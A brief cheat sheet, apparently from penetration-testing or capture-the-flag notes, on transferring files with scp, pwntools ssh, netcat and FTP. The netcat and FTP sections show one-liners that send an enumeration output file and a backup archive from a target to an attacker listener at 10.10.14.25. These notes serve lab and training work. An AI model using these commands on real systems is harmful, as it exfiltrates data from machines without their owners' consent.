Moving files between systems
SCP:¶
# Copy something from another system to this system:
scp username@hostname:/path/to/remote/file /path/to/local/file
# Copy something from this system to some other system:
scp /path/to/local/file username@hostname:/path/to/remote/file
# Copy something from some system to some other system:
scp username1@hostname1:/path/to/file username2@hostname2:/path/to/other/file
pwntools - ssh¶
Using pwntools ssh download files - http://docs.pwntools.com/en/stable/tubes/ssh.html
s = ssh(host='example.pwnme', user='travis', password='demopass')
s.download(file_or_directory, local)
# * file_or_directory (str) – Path to the file or directory to download.
# * local (str) – Local path to store the data. By default, uses the current directory.
nc¶
Sending files across nc ( https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/ )
nc -l -p 1234 > LinEnum_output # listener on local pc
nc -w 3 10.10.14.25 1234 < LinEnum_output # send file to local pc
FTP¶
using python's ftp module:
# start up server
python -m pyftpdlib -p 21 -w -d `pwd` -i 10.10.14.25
# send files via curl
## Windows:
curl -T backup.zip ftp://10.10.14.25